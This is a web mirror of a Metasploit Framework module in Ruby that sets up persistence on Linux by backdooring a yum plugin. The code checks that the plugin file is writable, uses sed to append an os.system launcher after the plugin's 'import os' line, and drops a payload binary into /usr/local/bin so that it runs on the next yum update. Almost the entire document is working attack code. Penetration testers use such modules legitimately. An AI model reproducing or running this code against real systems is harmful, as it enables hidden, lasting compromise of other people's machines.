Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/linux/persistence/yum_package_manager.rb
23592 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Local
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::EXE
10
include Msf::Exploit::FileDropper
11
include Msf::Post::File
12
include Msf::Post::Linux::System
13
include Msf::Exploit::Local::Persistence
14
prepend Msf::Exploit::Remote::AutoCheck
15
include Msf::Exploit::Deprecated
16
moved_from 'exploits/linux/local/yum_package_manager_persistence'
17
18
def initialize(info = {})
19
super(
20
update_info(
21
info,
22
'Name' => 'Yum Package Manager Persistence',
23
'Description' => %q{
24
This module will run a payload when the package manager is used.
25
This module modifies a yum plugin to launch a binary of choice.
26
grep -F 'enabled=1' /etc/yum/pluginconf.d/
27
will show what plugins are currently enabled on the system.
28
root persmissions are likely required.
29
Verified on Centos 7.1
30
},
31
'License' => MSF_LICENSE,
32
'Author' => ['Aaron Ringo'],
33
'Platform' => ['linux', 'unix'],
34
'Arch' => [
35
ARCH_CMD,
36
ARCH_X86,
37
ARCH_X64,
38
ARCH_ARMLE,
39
ARCH_AARCH64,
40
ARCH_PPC,
41
ARCH_MIPSLE,
42
ARCH_MIPSBE
43
],
44
'SessionTypes' => ['shell', 'meterpreter'],
45
'DisclosureDate' => '2003-12-17', # Date published, Robert G. Browns documentation on Yum
46
'References' => ['URL', 'https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/deployment_guide/sec-yum_plugins'],
47
'Targets' => [['Automatic', {}]],
48
'DefaultTarget' => 0,
49
'Privileged' => true,
50
'Notes' => {
51
'Stability' => [CRASH_SAFE],
52
'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],
53
'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]
54
}
55
)
56
)
57
58
register_options(
59
[
60
# /usr/lib/yum-plugins/fastestmirror.py is a default enabled plugin in centos
61
OptString.new('PLUGIN', [true, 'Yum Plugin to target', 'fastestmirror.py']),
62
OptString.new('PAYLOAD_NAME', [false, 'Name of binary to write'])
63
]
64
)
65
66
register_advanced_options(
67
[
68
OptString.new('WritableDir', [true, 'A directory where we can write files', '/usr/local/bin/']),
69
OptString.new('PluginPath', [true, 'Plugin Path to use', '/usr/lib/yum-plugins/'])
70
]
71
)
72
end
73
74
def check
75
return CheckCode::Safe("#{datastore['WritableDir']} does not exist") unless exists? datastore['WritableDir']
76
return CheckCode::Safe("#{datastore['WritableDir']} not writable") unless writable? datastore['WritableDir']
77
78
# checks /usr/lib/yum-plugins/PLUGIN.py exists and is writeable
79
plugin = datastore['PLUGIN']
80
full_plugin_path = "#{datastore['PluginPath']}#{plugin}"
81
return CheckCode::Safe("#{full_plugin_path} does not exist") unless exists? full_plugin_path
82
return CheckCode::Safe("#{full_plugin_path} not writable") unless writable? full_plugin_path
83
return CheckCode::Safe('yum not found on system') unless command_exists? 'yum'
84
return CheckCode::Safe('sed not found on system, required for exploitation') unless command_exists? 'sed'
85
86
# /etc/yum.conf must contain plugins=1 for plugins to run at all
87
plugins_enabled = cmd_exec "grep -F 'plugins=1' /etc/yum.conf"
88
return CheckCode::Safe('Plugins are not set to be enabled in /etc/yum.conf') unless plugins_enabled.include? 'plugins=1'
89
90
vprint_good('Plugins are enabled!')
91
92
# /etc/yum/pluginconf.d/PLUGIN.conf must contain enabled=1
93
plugin_conf = "/etc/yum/pluginconf.d/#{plugin.sub('.py', '')}.conf"
94
plugin_enabled = cmd_exec "grep -F 'enabled=1' #{plugin_conf}"
95
unless plugin_enabled.include? 'enabled=1'
96
return CheckCode::Safe("#{plugin_conf} plugin is not configured to run")
97
end
98
99
# check that the plugin contains an import os, to backdoor
100
import_os_check = cmd_exec "grep -F 'import os' #{full_plugin_path}"
101
unless import_os_check.include? 'import os'
102
return CheckCode::Safe("#{full_plugin_path} does not import os, which is odd")
103
end
104
105
CheckCode::Detected('yum installed and plugin found, enabled, and backdoorable')
106
end
107
108
def install_persistence
109
plugin = datastore['PLUGIN']
110
full_plugin_path = "#{datastore['PluginPath']}/#{plugin}"
111
112
# plugins are made in python and generate pycs on successful execution
113
print_warning('Either Yum has never been executed, or the selected plugin has not run') unless exist? "#{full_plugin_path}c"
114
115
# check for write in backdoor path and set/generate backdoor name
116
payload_path = datastore['WritableDir']
117
payload_path = payload_path.end_with?('/') ? payload_path : "#{payload_path}/"
118
payload_name = datastore['PAYLOAD_NAME'] || rand_text_alphanumeric(5..10)
119
payload_path << payload_name
120
121
# check for sed binary and then append launcher to plugin underneath
122
print_status('Attempting to modify plugin')
123
launcher = "os.system('setsid #{payload_path} 2>/dev/null \\& ')"
124
sed_path = cmd_exec 'command -v sed'
125
unless sed_path.include?('sed')
126
fail_with Failure::NotVulnerable, 'Module uses sed to modify plugin, sed was not found'
127
end
128
sed_line = "#{sed_path} -ie \"/import os/ a #{launcher}\" #{full_plugin_path}"
129
cmd_exec sed_line
130
131
# actually write users payload to be executed then check for write
132
if payload.arch.first == 'cmd'
133
write_file(payload_path, payload.encoded)
134
else
135
write_file(payload_path, generate_payload_exe)
136
end
137
@clean_up_rc << "rm #{payload_path}\n"
138
@clean_up_rc << "execute -f #{sed_path} -a \"-i /os\.system.*#{payload_name}/d #{full_plugin_path}\""
139
unless exist? payload_path
140
fail_with Failure::Unknown, "Failed to write #{payload_path}"
141
end
142
143
# change perms to reflect bins in /usr/local/bin/, give good feels
144
chmod(payload_path, 0o755)
145
print_status("Backdoor uploaded to #{payload_path}")
146
print_good('Backdoor will run on next Yum update')
147
end
148
end
149
150